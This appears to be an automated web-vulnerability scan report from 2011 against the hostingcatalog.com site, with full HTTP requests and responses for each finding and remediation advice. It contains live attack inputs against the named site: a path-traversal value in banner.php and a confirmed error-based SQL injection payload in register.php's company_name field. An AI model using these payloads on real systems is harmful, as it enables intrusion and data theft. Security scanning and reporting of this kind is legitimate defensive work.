<td><a class=link href="http://www.hostingcatalog.com/dialup-internet-service-providers">Dialup Access</a><br>
<a class=link href="http://www.hostingcatalog.com/category.php/34">Wholesale Dialup</a><br>
<a class=link href="http://www.hostingcatalog.com/broadband-internet-providers">Residential Broadband</a><br>
<a class=link href="http://www.hostingcatalog.com/corporate-business-broadband-internet">Business Broadband</a><br>
<a class=link href="http://www.hostingcatalog.com/internet-backbone-provdiers">Bandwidth/Backbone</a><br>
<a class=link href="http://www.hostingcatalog.com/wireless-internet-solutions">Wireless Internet</a></td>
</tr>
</table></td>
</tr>
<tr>
<td bgcolor="#FA8A16"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td height="20" background="images/misc/leftcolumnheader_bg.gif" bgcolor="#FA8A16" class="leftcolumnheader">&nbsp;&nbsp;PRODUCTS &amp; SERVICES</td>
</tr>
<tr>
<td height="1"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td bgcolor="#FA8A16"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td background="images/misc/leftcolumn_bg.gif"><table width="160" border="0" align="center" cellpadding="3" cellspacing="0">
<tr>
<td><a class=link href="http://www.hostingcatalog.com/domain-name-registration">Domain Registration</a><br>
<a class=link href="http://www.hostingcatalog.com/internet-consulting-service">Consulting Services</a><br>
<a class=link href="http://www.hostingcatalog.com/merchant-account-services">Merchant Accounts</a><br>
<a class=link href="http://www.hostingcatalog.com/online-shopping-cart-solutions">Shopping Carts</a><br>
<a class=link href="http://www.hostingcatalog.com/hosting-control-panel-software">Control Panels</a><br>
<a class=link href="http://www.hostingcatalog.com/file-backup-systems-and-solutions">Backup/File Sharing</a><br>
<a class=link href="http://www.hostingcatalog.com/managed-internet-services">Managed Services</a><br>
<a class=link href="http://www.hostingcatalog.com/ssl-server-certificate-providers">SSL Certificates</a><br>
<a class=link href="http://www.hostingcatalog.c..
PHP Version Disclosure

PHP Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

Impact

An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /banner.php

/banner.php

http://www.hostingcatalog.com/banner.php?id=3A72B055B7774C9A3B5C28EE6A61B658490A49E9A39A90201AA3445D..

Extracted Version

PHP/5.1.6

Request

GET /banner.php?id=3A72B055B7774C9A3B5C28EE6A61B658490A49E9A39A90201AA3445D0E3A07F60688418BC389C342 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.hostingcatalog.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 11:56:38 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=evmvm2mer69jjofjm6tpmndf31; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 111


document.write('<img src="http://www.hostingcatalog.com/stat.php" style="display: none;">');document.write('');
Database Error Message

Database Error Message

1 TOTAL
LOW
Netsparker identified a database error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.

Remedy

Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
- /banner.php

/banner.php

http://www.hostingcatalog.com/banner.php?id=../../../../../../../../../../proc/self/version

Parameters

Parameter Type Value
id GET ../../../../../../../../../../proc/self/version

Request

GET /banner.php?id=../../../../../../../../../../proc/self/version HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.hostingcatalog.com
Cookie: PHPSESSID=ptafq9e5a5qh52n7lhsaof9ea6; time_0=1303646197; user_counted_0=1%3CAND%3E%3CAND%3E24%3CAND%3E66%3CAND%3E101%3CAND%3E43%3CAND%3E46%3CAND%3E65%3CAND%3E77%3CAND%3E26%3CAND%3E29%3CAND%3E28
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 12:23:52 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 439


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '�' AND a.active = 0 AND b.status = 'active'' at line 6 in SQL SELECT COUNT(b.banner_aff_id) FROM banner_aff AS b LEFT JOIN affiliate AS a USING(aff_id) WHERE b.hash_code='' AND b.banner_aff_id='R�� .R�� .��SOk'�' AND a.active = 0 AND b.status = 'active'
MySQL Database Identified

MySQL Database Identified

1 TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the target web site is using a MySQL Server. This is generally not a security issue and is reported here for information purposes.

Impact

This issue is reported as additional information only, there is no direct impact arising from this issue.
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 767
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:49:54 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 354
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1062: Duplicate entry '_!@4dilemma:1' for key 1 in SQL SELECT account_id FROM account WHERE company_name=''+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''
Directory Listing (Apache)

Directory Listing (Apache)

1 TOTAL
INFORMATION
The web server responded with a list of files located in the target directory.

Impact

An attacker can see the files located in the directory and could potentially access files which disclose sensitive information.

Actions to Take

  1. See the remedy for solution.
  2. Configure the web server to disallow directory listing requests.
  3. This can also be caused the web server products that don't have latest security patches. Ensure that all of the patches have been applied.

Remedy

Change your httpd.conf file. A secure configuration for the requested directory should be similar to the following one:
<Directory /{YOUR DIRECTORY}>
	Options FollowSymLinks 
</Directory>
Remove the Indexes option from configuration. Do not forget to remove MultiViews as well.

External References

- /images/header/

/images/header/

http://www.hostingcatalog.com/images/header/

Request

GET /images/header/ HTTP/1.1
Referer: http://www.hostingcatalog.com/images/header/logo.gif
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.hostingcatalog.com
Cookie: PHPSESSID=ptafq9e5a5qh52n7lhsaof9ea6; time_0=1303646197; user_counted_0=1%3CAND%3E%3CAND%3E24%3CAND%3E66
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 11:56:49 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: keep-alive
Content-Length: 3972


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html> <head> <title>Index of /images/header</title> </head> <body><h1>Index of /images/header</h1><table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr><tr><td valign="top"><img src="/icons/back.gif" alt="[DIR]"></td><td><a href="/images/">Parent Directory</a></td><td>&nbsp;</td><td align="right"> - </td></tr><tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="2ndnav_bg.gif">2ndnav_bg.gif</a></td><td align="right">13-Jul-2005 10:13 </td><td align="right">190 </td></tr><tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="2ndnav_divider.gif">2ndnav_divider.gif</a></td><td align="right">13-Jul-2005 10:13 </td><td align="right">378 </td></tr><tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="dropdownbar_bg.gif">dropdownbar_bg.gif</a></td><td align="right">22-Mar-2004 07:34 </td><td align="right">157 </td></tr><tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="filterbar_bg.gif">filterbar_bg.gif</a></td><td align="right">23-Mar-2004 07:44 </td><td align="right"> 97 </td></tr><tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="header_bg.gif">header_bg.gif</a></td><td align="right">13-Jul-2005 10:13 </td><td align="right">291 </td></tr><tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="header_right.gif">header_right.gif</a></td><td align="right">13-Jul-2005 10:13 </td><td align="right">291 </td></tr><tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="headerline_bg.gif">headerline_bg.gif</a></td><td align="right">22-Mar-2004 07:35 </td><td align="right"> 44 </td></tr><tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="headerlinks_bg.gif">headerlinks_bg.gif</a></td><td align="right">22-Mar-2004 07:36 </td><td align="right"> 96 </td></tr><tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="ispcheck.gif">ispcheck.gif</a></td><td align="right">13-Jul-2005 10:13 </td><td align="right">4.2K</td></tr><tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="logo-holiday06.gif">logo-holiday06.gif</a></td><td align="right">21-Dec-2006 14:37 </td><td align="right">4.7K</td></tr><tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="logo-original.gif">logo-original.gif</a></td><td align="right">13-Jul-2005 11:25 </td><td align="right">4.2K</td></tr><tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="logo.gif">logo.gif</a></td><td align="right">03-Jan-2006 09:00 </td><td align="right">4.2K</td></tr><tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="lw-header.png">lw-header.png</a></td><td align="right">03-May-2010 15:41 </td><td align="right"> 14K</td></tr><tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="mostpopular.gif">mostpopular.gif</a></td><td align="right">13-Jul-2005 10:13 </td><td align="right">1.6K</td></tr><tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="nav_divider.gif">nav_divider.gif</a></td><td align="right">13-Jul-2005 10:13 </td><td align="right">247 </td></tr><tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="slogan.gif">slogan.gif</a></td><td align="right">22-Mar-2004 09:37 </td><td align="right">6.5K</td></tr><tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="sublinkbar_bg.gif">sublinkbar_bg.gif</a></td><td align="right">23-Mar-2004 08:49 </td><td align="right"> 96 </td></tr><tr><th colspan="5"><hr></th></tr></table></body></html>
E-mail Address Disclosure

E-mail Address Disclosure

1 TOTAL
INFORMATION
Netsparker found e-mail addresses on the web site.

Impact

E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .

Remedy

Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.

External References

- /register.php

/register.php

http://www.hostingcatalog.com/register.php

Found E-mails

paypal@hostingcatalog.com

Request

GET /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.hostingcatalog.com
Cookie: PHPSESSID=ptafq9e5a5qh52n7lhsaof9ea6; time_0=1303646197; user_counted_0=1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 302 Found
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 11:56:42 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Location: https://www.hostingcatalog.com/register.php
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: user_counted_0=1%3CAND%3E; expires=Mon, 25-Apr-2011 03:58:20 GMT; path=/


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='5E3D5346E1A2E8D357F0D29E8BB4ECA21A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Linux VPS Hosting</option><option value='5E3D5346E1A2E8D3914BF6A79081EC2D1773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Host 5 sites for $5.95</option><option value='5E3D5346E1A2E8D3804BDCBC5F3624771A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>HostingLocker</option><option value='5E3D5346E1A2E8D3AEB7320C534FCFD51A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>1&1</option><option value='5E3D5346E1A2E8D33C1D7FBCC567E12D1773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='5E3D5346E1A2E8D355CAB932145BAE971A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>iWeb Technology</option><option value='5E3D5346E1A2E8D30119BFFBDFB49D3F1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>SingleHop</option><option value='5E3D5346E1A2E8D3224DA93AAA07BC2D1773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Serverconnect@SwedishHost</option><option value='5E3D5346E1A2E8D361275C9B9A6411981A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>OnApp - Build Your Cloud</option><option value='5E3D5346E1A2E8D38FDA53D274EDAAD21773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='5E3D5346E1A2E8D3952BAD0C9A3E36BD1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>GlowHost $4.95 Hosting</option><option value='5E3D5346E1A2E8D350B757B6C7B601661A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Unlimited Hosting $2.99/m</option><option value='5E3D5346E1A2E8D3094F4E7C43B1C0B31A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>HostingLocker</option><option value='5E3D5346E1A2E8D3234ECF4B3ED1D9D11A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Cast-Iron Hosting Review</option><option value='5E3D5346E1A2E8D32F4252E2CEACDD001A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='5E3D5346E1A2E8D3202D32DB2F9A7DBF1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>resell merchant accounts</option><option value='5E3D5346E1A2E8D3FDF171907F5C9BB71773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Cheap Reseller Hosting</option><option value='5E3D5346E1A2E8D39698D60259649B2E1773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>PremiumReseller.com</option><option value='5E3D5346E1A2E8D3B3A8C3105348E0401773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value=&..
Sitemap Identified

Sitemap Identified

1 TOTAL
INFORMATION
Netsparker identified Sitemap file on the target web site. This issue is reported as extra information.

Impact

This issue is reported as extra information, there is no direct impact resulting from this.
- /sitemap.xml

/sitemap.xml

http://www.hostingcatalog.com/sitemap.xml

Request

GET /sitemap.xml HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.hostingcatalog.com
Cookie: PHPSESSID=ptafq9e5a5qh52n7lhsaof9ea6; time_0=1303646197; user_counted_0=1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 11:56:37 GMT
Content-Type: text/xml
Connection: keep-alive
Last-Modified: Thu, 04 Sep 2008 13:18:46 GMT
ETag: "57c032-7961-45611caeff980"
Accept-Ranges: bytes
Content-Length: 31073


<?xml version="1.0" encoding="UTF-8"?><urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd"><url> <loc>http://www.hostingcatalog.com</loc></url><url> <loc>http://www.hostingcatalog.com/style.css</loc> <lastmod>2008-05-27T14:37:06-04:00</lastmod></url><url> <loc>http://www.hostingcatalog.com/index.php</loc></url><url> <loc>http://www.hostingcatalog.com/register.php</loc></url><url> <loc>http://www.hostingcatalog.com/advert_login.php</loc></url><url> <loc>http://www.hostingcatalog.com/file.php/partner1.txt</loc></url><url> <loc>http://www.hostingcatalog.com/partner</loc></url><url> <loc>http://www.hostingcatalog.com/unix-linux-shared-hosting</loc></url><url> <loc>http://www.hostingcatalog.com/asp-coldfusion-script-windows-hosting</loc></url><url> 